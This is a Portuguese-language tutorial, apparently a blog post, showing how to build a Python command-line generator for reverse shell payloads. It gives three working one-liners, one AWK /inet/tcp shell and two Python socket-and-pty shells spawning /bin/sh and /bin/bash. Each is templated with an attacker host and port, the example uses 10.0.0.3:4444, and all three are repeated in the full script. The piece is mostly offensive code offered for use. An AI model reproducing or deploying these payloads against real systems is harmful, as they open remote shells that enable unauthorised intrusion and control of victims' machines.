Neste tópico abordarei como desenvolver um gerador de reverse shell rápido através da linguagem Python. Com o gerador que você irá desenvolver é possível gerar seus payloads de forma rápida e prática sem precisar de muitas etapas, e você ainda poderá melhorá-lo e usá-lo para turbinar o seu portfólio.
Importando as bibliotecas necessárias
Primeiramente devemos importar as bibliotecas que vamos utilizar no nosso código:
import argparse
from argparse import RawTextHelpFormatter
A primeira biblioteca serve para invocarmos um sistema de parâmetro e help, assim você poderá facilmente construir seus próprios parâmetros na sua aplicação. A segunda foi necessária para que strings multilinha funcionassem no ArgumentParser.
Criando um sistema de parâmetros
Então instanciaremos um objeto ArgumentParser, é nele que vamos adicionar os nossos parâmetros:
parser = argparse.ArgumentParser(description='Sua descrição', formatter_class=RawTextHelpFormatter)
É possível também fazer seu próprio banner caso prefira. O banner pode ser gerado em: https://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20
banner = '''
[Cole aqui o banner gerado no link acima]
'''
parser = argparse.ArgumentParser(description=banner, formatter_class=RawTextHelpFormatter)
Então, finalmente podemos criar o nome dos nossos parâmetros. Primeiramente criaremos um argumento chamado “local” usando a seguinte linha de código:
parser.add_argument('-l','--local', dest='local', action='store', type=str, help='Attacker local Host address.', required=True)
‘-l’ é a abreviação do nome do parâmetro
‘ — local’ é o nome completo do parâmetro
dest=’local’ é em qual varíavel o valor do parâmetro vai ser acessível
action=’store’ vai salvar o valor
type=str é o tipo do parâmetro, no caso um endereço de IP ou host seria do tipo string.
help=’Texto’ é a descrição do parâmetro
required=True é para obrigar o usuário a utilizar o parâmetro, já que obviamente precisaremos que seja passado o host do atacante.
Recebendo a porta:
parser.add_argument('-p','--port', dest='port', action='store', type=str, help='Attacker local Port address.', default='53')
Mesmo conceito do parâmetro –local, porém para receber a porta. Neste caso não é preciso usar o tipo ‘int’, basta usar o tipo ‘str’, já que de qualquer maneira a porta servirá para ser concatenada na string do payload, assim, evita que posteriormente precise converter de inteiro para string.
Recebendo o tipo de payload:
parser.add_argument('-e', '--payload', dest='payload', action='store', type=int, help='''Payload Types:
0 - AWK
1 - Python sh
2 - Python bash
''', default=1)
Neste caso o nosso tipo vai ser ‘int’ de inteiro, já que vamos fazer com que o usuário escolha o payload através do seu respectivo número. Em ‘help’ perceba que existe um texto com uma lista de payloads (você pode customizar esse texto). E o valor ‘default’ está com o valor 1, pois se o usuário não passar o parâmetro de payload por padrão o valor será 1 que está atribuído à payload ‘Python sh’ na tupla. Nesse tutorial vou ensinar apenas com 3 payloads, mas você pode ir melhorando e adicionando seus próprios payloads.
Um bom cheatsheet de payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
E finalmente vamos processar os parâmetros:
args = parser.parse_args()
Armazenando os payloads
No Python podemos criar uma tupla com a lista de payloads. Nesse tutorial vamos utilizar os payloads: AWK, Python sh e Python bash.
payloads = (
# AWK 0
'''awk 'BEGIN {s = "/inet/tcp/0/{local_host}/{local_port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null''',
# Python sh 1
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
''',
# Python bash 2
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
''')
Perceba que cada um dos payloads tem sempre duas strings fixas: {local_host} e {local_port}. Essas duas strings servem para serem substituídas pelos parâmetros que o usuário irá passar, no caso, {local_host} vai ser substituída pelo host, já o {local_port} vai ser substituído pela porta. Em cada payload novo que você adicionar, você deverá posicionar o {local_host} e o {local_port} corretamente.
Criando a função que gera o payload através dos parâmetros passados:
def format_payload(payload, local_host, local_port):
return payloads[payload].replace('{local_host}', local_host).replace('{local_port}', local_port)
Com esta função poderemos passar o tipo do payload que é um valor do tipo inteiro (int), o host (ex.: ‘10.0.0.3’) e a porta (ex.: ‘53’). A partir daí ele vai gerar e retornar o payload.
Imprimindo o payload na tela do console:
print(format_payload(args.payload, args.local, args.port))
Usufruindo do gerador de payload
Podemos chamar nosso script sem nenhum parâmetro, para testá-lo.
python medium.py
Então, percebemos que ele obriga que o usuário passe o parâmetro –local, que é o host do atacante.
Podemos digitar o parâmetro ‘ — help’ para visualizarmos a ajuda completa.
python medium.py --help
Finalmente, geramos o nosso payload:
python -l 10.0.0.3 -p 4444 -e 2
Código completo
import argparse
from argparse import RawTextHelpFormatter
banner = '''
[Cole aqui o banner gerado no link acima]
'''
parser = argparse.ArgumentParser(description=banner, formatter_class=RawTextHelpFormatter)
parser.add_argument('-l','--local', dest='local', action='store', type=str, help='Attacker local Host address.', required=True)
parser.add_argument('-p','--port', dest='port', action='store', type=str, help='Attacker local Port address.', default='53')
parser.add_argument('-e', '--payload', dest='payload', action='store', type=int, help='''Payload Types:
0 - AWK
1 - Python sh
2 - Python bash
''', default=1)
args = parser.parse_args()
payloads = (
# AWK 0
'''awk 'BEGIN {s = "/inet/tcp/0/{local_host}/{local_port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null''',
# Python sh 1
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
''',
# Python bash 2
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
''')
def format_payload(payload, local_host, local_port):
return payloads[payload].replace('{local_host}', local_host).replace('{local_port}', local_port)
print(format_payload(args.payload, args.local, args.port))
Conclusão
Neste tópico você aprendeu como funciona o sistema de parâmetros das ferramentas populares que você utiliza no seu dia a dia através do ArgumentParser e também aprendeu como fazer seu próprio gerador de payloads reverse shell para facilitar e deixar seu trabalho mais rápido e eficiente. Agora fica ao seu critério fazer melhorias no código e customizar o output do programa.
Meu gerador de payload: https://github.com/firedragon9511/rpshell
Bom desenvolvimento!